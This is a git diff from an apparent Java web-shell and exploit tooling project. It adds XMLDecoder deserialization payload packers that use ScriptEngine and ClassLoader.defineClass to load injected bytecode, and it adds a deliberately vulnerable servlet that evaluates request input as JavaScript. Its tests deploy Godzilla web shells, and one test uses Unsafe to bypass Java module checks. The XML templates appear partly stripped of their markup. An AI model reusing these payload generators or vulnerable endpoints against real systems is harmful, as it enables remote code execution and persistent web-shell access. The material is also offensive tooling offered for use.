diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java
index 6d3fe67f..fbc77e0e 100644
--- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java
+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java
@@ -346,7 +346,7 @@ public class ShellAssertionTool {
case JavaCommonsCollections4 -> VulTool.postData(url + "/java_deserialize/cc40", content);
case HessianDeserialize -> VulTool.postData(url + "/hessian", content);
case Hessian2Deserialize -> VulTool.postData(url + "/hessian2", content);
- case XMLDecoder -> VulTool.postData(url + "/xmlDecoder", content);
+ case XMLDecoderScriptEngine, XMLDecoderDefineClass -> VulTool.postData(url + "/xmlDecoder", content);
case Base64 -> VulTool.postData(url + "/b64", content);
case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content);
case H2, H2JS, H2Javac -> VulTool.postData(url + "/jdbc", content);
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8DeserializeContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8DeserializeContainerTest.java
index 39f492ff..f7c5654c 100644
--- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8DeserializeContainerTest.java
+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8DeserializeContainerTest.java
@@ -51,7 +51,8 @@ public class Tomcat8DeserializeContainerTest {
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaCommonsCollections4),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.HessianDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Hessian2Deserialize),
- arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoder)
+ arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderScriptEngine),
+ arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderDefineClass)
);
}
diff --git a/packer/src/main/java/com/reajason/javaweb/packer/Packers.java b/packer/src/main/java/com/reajason/javaweb/packer/Packers.java
index 888285d6..7be10bb1 100644
--- a/packer/src/main/java/com/reajason/javaweb/packer/Packers.java
+++ b/packer/src/main/java/com/reajason/javaweb/packer/Packers.java
@@ -41,7 +41,9 @@ import com.reajason.javaweb.packer.spel.SpELScriptEnginePacker;
import com.reajason.javaweb.packer.spel.SpELSpringIOUtilsGzipPacker;
import com.reajason.javaweb.packer.spel.SpELSpringUtilsPacker;
import com.reajason.javaweb.packer.velocity.VelocityPacker;
+import com.reajason.javaweb.packer.xmldecoder.XMLDecoderDefineClassPacker;
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderPacker;
+import com.reajason.javaweb.packer.xmldecoder.XMLDecoderScriptEnginePacker;
import lombok.Getter;
import java.util.List;
@@ -112,6 +114,8 @@ public enum Packers {
Velocity(new VelocityPacker()),
JinJava(new JinJavaPacker()),
XMLDecoder(new XMLDecoderPacker()),
+ XMLDecoderScriptEngine(new XMLDecoderScriptEnginePacker(), XMLDecoderPacker.class),
+ XMLDecoderDefineClass(new XMLDecoderDefineClassPacker(), XMLDecoderPacker.class),
/**
* Java 反序列化打包器
diff --git a/packer/src/main/java/com/reajason/javaweb/packer/xmldecoder/XMLDecoderDefineClassPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/xmldecoder/XMLDecoderDefineClassPacker.java
new file mode 100644
index 00000000..4bf272ce
--- /dev/null
+++ b/packer/src/main/java/com/reajason/javaweb/packer/xmldecoder/XMLDecoderDefineClassPacker.java
@@ -0,0 +1,45 @@
+package com.reajason.javaweb.packer.xmldecoder;
+
+import com.reajason.javaweb.packer.ClassPackerConfig;
+import com.reajason.javaweb.packer.Packer;
+
+/**
+ * @author ReaJason
+ * @since 2025/7/22
+ */
+public class XMLDecoderDefineClassPacker implements Packer {
+ String template = "\n" +
+ " \n" +
+ " java.lang.ClassLoader\n" +
+ " \n" +
+ " \n" +
+ " defineClass\n" +
+ " \n" +
+ " [B\n" +
+ " int\n" +
+ " int\n" +
+ " \n" +
+ " true\n" +
+ " \n" +
+ " \n" +
+ " ";
+
+ @Override
+ public String pack(ClassPackerConfig config) {
+ return template
+ .replace("{{base64Str}}", config.getClassBytesBase64Str())
+ .replace("{{byteCodeLength}}", String.valueOf(config.getClassBytes().length));
+ }
+}
diff --git a/packer/src/main/java/com/reajason/javaweb/packer/xmldecoder/XMLDecoderPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/xmldecoder/XMLDecoderPacker.java
index 96edb707..9c068bca 100644
--- a/packer/src/main/java/com/reajason/javaweb/packer/xmldecoder/XMLDecoderPacker.java
+++ b/packer/src/main/java/com/reajason/javaweb/packer/xmldecoder/XMLDecoderPacker.java
@@ -1,28 +1,11 @@
package com.reajason.javaweb.packer.xmldecoder;
-import com.reajason.javaweb.packer.ClassPackerConfig;
-import com.reajason.javaweb.packer.Packer;
-import com.reajason.javaweb.packer.Packers;
+import com.reajason.javaweb.packer.AggregatePacker;
/**
* @author ReaJason
* @since 2025/7/22
*/
-public class XMLDecoderPacker implements Packer {
- String template = "\n" +
- " \n" +
- " \n" +
- " js\n" +
- " \n" +
- " {{script}}\n" +
- " \n" +
- " \n" +
- " \n" +
- "";
+public class XMLDecoderPacker implements AggregatePacker {
- @Override
- public String pack(ClassPackerConfig config) {
- String script = Packers.ScriptEngine.getInstance().pack(config);
- return template.replace("{{script}}", script);
- }
}
diff --git a/packer/src/main/java/com/reajason/javaweb/packer/xmldecoder/XMLDecoderScriptEnginePacker.java b/packer/src/main/java/com/reajason/javaweb/packer/xmldecoder/XMLDecoderScriptEnginePacker.java
new file mode 100644
index 00000000..2a324bf5
--- /dev/null
+++ b/packer/src/main/java/com/reajason/javaweb/packer/xmldecoder/XMLDecoderScriptEnginePacker.java
@@ -0,0 +1,28 @@
+package com.reajason.javaweb.packer.xmldecoder;
+
+import com.reajason.javaweb.packer.ClassPackerConfig;
+import com.reajason.javaweb.packer.Packer;
+import com.reajason.javaweb.packer.Packers;
+
+/**
+ * @author ReaJason
+ * @since 2025/7/22
+ */
+public class XMLDecoderScriptEnginePacker implements Packer {
+ String template = "\n" +
+ " \n" +
+ " \n" +
+ " js\n" +
+ " \n" +
+ " {{script}}\n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ "";
+
+ @Override
+ public String pack(ClassPackerConfig config) {
+ String script = Packers.ScriptEngine.getInstance().pack(config);
+ return template.replace("{{script}}", script);
+ }
+}
diff --git a/vul/vul-webapp-deserialize/src/test/java/XmlDecoderServletTest.java b/vul/vul-webapp-deserialize/src/test/java/XmlDecoderServletTest.java
index 056245c7..f338fe7f 100644
--- a/vul/vul-webapp-deserialize/src/test/java/XmlDecoderServletTest.java
+++ b/vul/vul-webapp-deserialize/src/test/java/XmlDecoderServletTest.java
@@ -2,7 +2,6 @@ import org.junit.jupiter.api.Test;
import java.beans.XMLDecoder;
import java.io.ByteArrayInputStream;
-import java.util.Base64;
/**
* @author ReaJason
@@ -32,8 +31,25 @@ class XmlDecoderServletTest {
" \n" +
" \n" +
"";
+ String xml2 = "\n" +
+ " \n" +
+ " aGVsbG8K>\n" +
+ " \n" +
+ " java.lang.ClassLoader\n" +
+ " \n" +
+ " \n" +
+ " defineClass\n" +
+ " \n" +
+ " [B\n" +
+ " int\n" +
+ " int\n" +
+ " \n" +
+ " true\n" +
+ " \n" +
+ " \n" +
+ "";
try {
- ByteArrayInputStream inputStream = new ByteArrayInputStream(xml1.getBytes());
+ ByteArrayInputStream inputStream = new ByteArrayInputStream(xml2.getBytes());
XMLDecoder xmlDecoder = new XMLDecoder(inputStream);
xmlDecoder.readObject();
xmlDecoder.close();
diff --git a/vul/vul-webapp-expression/build.gradle.kts b/vul/vul-webapp-expression/build.gradle.kts
index c3b3eaa0..53ef6d3b 100644
--- a/vul/vul-webapp-expression/build.gradle.kts
+++ b/vul/vul-webapp-expression/build.gradle.kts
@@ -30,10 +30,11 @@ dependencies {
implementation("org.springframework:spring-expression:4.3.0.RELEASE")
providedCompile("de.odysseus.juel:juel-api:2.2.7")
providedCompile("javax.servlet:javax.servlet-api:3.1.0")
- testImplementation(platform("org.junit:junit-bom:5.11.4"))
- testImplementation("org.junit.jupiter:junit-jupiter")
+ testImplementation(libs.junit.jupiter)
+ testRuntimeOnly(libs.junit.platform.launcher)
}
tasks.test {
useJUnitPlatform()
}
+
diff --git a/vul/vul-webapp-jakarta/build.gradle.kts b/vul/vul-webapp-jakarta/build.gradle.kts
index 0d7995fe..84223106 100644
--- a/vul/vul-webapp-jakarta/build.gradle.kts
+++ b/vul/vul-webapp-jakarta/build.gradle.kts
@@ -4,14 +4,20 @@ plugins {
java {
toolchain {
- languageVersion = JavaLanguageVersion.of(8)
+ languageVersion = JavaLanguageVersion.of(11)
}
- sourceCompatibility = JavaVersion.VERSION_1_8
- targetCompatibility = JavaVersion.VERSION_1_8
+ sourceCompatibility = JavaVersion.VERSION_11
+ targetCompatibility = JavaVersion.VERSION_11
}
dependencies {
implementation("commons-fileupload:commons-fileupload:1.5")
implementation("commons-beanutils:commons-beanutils:1.9.3")
providedCompile("jakarta.servlet:jakarta.servlet-api:5.0.0")
-}
\ No newline at end of file
+ testImplementation(libs.junit.jupiter)
+ testRuntimeOnly(libs.junit.platform.launcher)
+}
+
+tasks.test {
+ useJUnitPlatform()
+}
diff --git a/vul/vul-webapp-jakarta/src/main/java/jakarta/ScriptEngineServlet.java b/vul/vul-webapp-jakarta/src/main/java/jakarta/ScriptEngineServlet.java
new file mode 100644
index 00000000..0f274523
--- /dev/null
+++ b/vul/vul-webapp-jakarta/src/main/java/jakarta/ScriptEngineServlet.java
@@ -0,0 +1,27 @@
+package jakarta;
+
+import jakarta.servlet.ServletException;
+import jakarta.servlet.http.HttpServlet;
+import jakarta.servlet.http.HttpServletRequest;
+import jakarta.servlet.http.HttpServletResponse;
+
+import javax.script.ScriptEngineManager;
+import javax.script.ScriptException;
+import java.io.IOException;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/3
+ */
+public class ScriptEngineServlet extends HttpServlet {
+ @Override
+ protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
+ String data = req.getParameter("data");
+ try {
+ Object eval = new ScriptEngineManager().getEngineByName("js").eval(data);
+ resp.getWriter().println(eval.toString());
+ } catch (ScriptException e) {
+ throw new RuntimeException(e);
+ }
+ }
+}
diff --git a/vul/vul-webapp-jakarta/src/main/webapp/WEB-INF/web.xml b/vul/vul-webapp-jakarta/src/main/webapp/WEB-INF/web.xml
index ecf4dc45..0f308b8f 100644
--- a/vul/vul-webapp-jakarta/src/main/webapp/WEB-INF/web.xml
+++ b/vul/vul-webapp-jakarta/src/main/webapp/WEB-INF/web.xml
@@ -45,6 +45,15 @@
/b64
+
+ js
+ jakarta.ScriptEngineServlet
+
+
+ js
+ /js
+
+
empty
jakarta.EmptyFilter
diff --git a/vul/vul-webapp-jakarta/src/test/java/jakarta/ScriptEngineServletTest.java b/vul/vul-webapp-jakarta/src/test/java/jakarta/ScriptEngineServletTest.java
new file mode 100644
index 00000000..8d0a64ab
--- /dev/null
+++ b/vul/vul-webapp-jakarta/src/test/java/jakarta/ScriptEngineServletTest.java
@@ -0,0 +1,52 @@
+package jakarta;
+
+import org.junit.jupiter.api.Test;
+
+import javax.script.ScriptEngineManager;
+
+/**
+ * @author ReaJason
+ * @since 2025/7/22
+ */
+class ScriptEngineServletTest {
+
+ @Test
+ void test() throws Exception {
+ System.out.println(System.getProperty("java.version"));
+ System.out.println(new ScriptEngineManager().getEngineByName("JavaScript").eval("var className = new java.lang.Exception().getStackTrace()[0].getClassName();" +
+ "var clazz = java.lang.Class.forName(className);" +
+ "print(clazz.getSuperclass());" +
+ " var unsafe = null;\n" +
+ " var rawModule = null;\n" +
+ " var offset = 48;\n" +
+ " var getAndSetObjectM = null;\n" +
+ " try {\n" +
+ " var unsafeClass = java.lang.Class.forName(\"sun.misc.Unsafe\");\n" +
+ " var unsafeField = unsafeClass.getDeclaredField(\"theUnsafe\");\n" +
+ " unsafeField.setAccessible(true);\n" +
+ " unsafe = unsafeField.get(null);\n" +
+ " rawModule = java.lang.Class.class.getMethod(\"getModule\").invoke(clazz.getSuperclass(), []);\n" +
+ "print(rawModule);" +
+ " var module = java.lang.Class.class.getMethod(\"getModule\").invoke(java.lang.Object.class, []);\n" +
+ "print(module);" +
+ " var objectFieldOffsetM = unsafe.getClass().getMethod(\"objectFieldOffset\", java.lang.reflect.Field.class);\n" +
+ " offset = objectFieldOffsetM.invoke(unsafe, java.lang.Class.class.getDeclaredField(\"module\"));\n" +
+ " getAndSetObjectM = unsafe.getClass().getMethod(\"getAndSetObject\", java.lang.Object.class, java.lang.Long.TYPE, java.lang.Object.class);\n" +
+ " getAndSetObjectM.invoke(unsafe, clazz.getSuperclass(), offset, module);\n" +
+ "print(new java.lang.Exception().getStackTrace()[0].getClassName());print(new java.lang.Exception().getStackTrace()[0].getClassName());print(new java.lang.Exception().getStackTrace()[0].getClassName());" +
+ "print(java.lang.Class.class.getMethod(\"getModule\").invoke(clazz.getSuperclass(), []));" +
+ " } catch (ignored) {\n" +
+ "ignored.printStackTrace();\n" +
+ " }" +
+ "var clsByteArray = (new java.lang.String(\"a\").getBytes().getClass());" +
+ "var clsString = java.lang.Class.forName(\"java.lang.String\");" +
+ "var clsInt = java.lang.Integer.TYPE;" +
+ "print(new java.lang.Exception().getStackTrace()[0].getClassName());" +
+ "print(new java.lang.Exception().getStackTrace()[0].getClassName());" +
+ "print(new java.lang.Exception().getStackTrace()[0].getClassName());" +
+ "var defineClass = java.lang.Class.forName(\"java.lang.ClassLoader\").getDeclaredMethod(\"defineClass\", [clsString, clsByteArray, clsInt, clsInt]);" +
+ "defineClass.setAccessible(true);"
+ )
+ );
+ }
+}
\ No newline at end of file
diff --git a/vul/vul-webapp/build.gradle.kts b/vul/vul-webapp/build.gradle.kts
index 5049585c..aa4f9043 100644
--- a/vul/vul-webapp/build.gradle.kts
+++ b/vul/vul-webapp/build.gradle.kts
@@ -14,4 +14,10 @@ dependencies {
implementation("commons-fileupload:commons-fileupload:1.3.3")
implementation("commons-beanutils:commons-beanutils:1.9.2")
providedCompile("javax.servlet:servlet-api:2.5")
+ testImplementation(libs.junit.jupiter)
+ testRuntimeOnly(libs.junit.platform.launcher)
+}
+
+tasks.test {
+ useJUnitPlatform()
}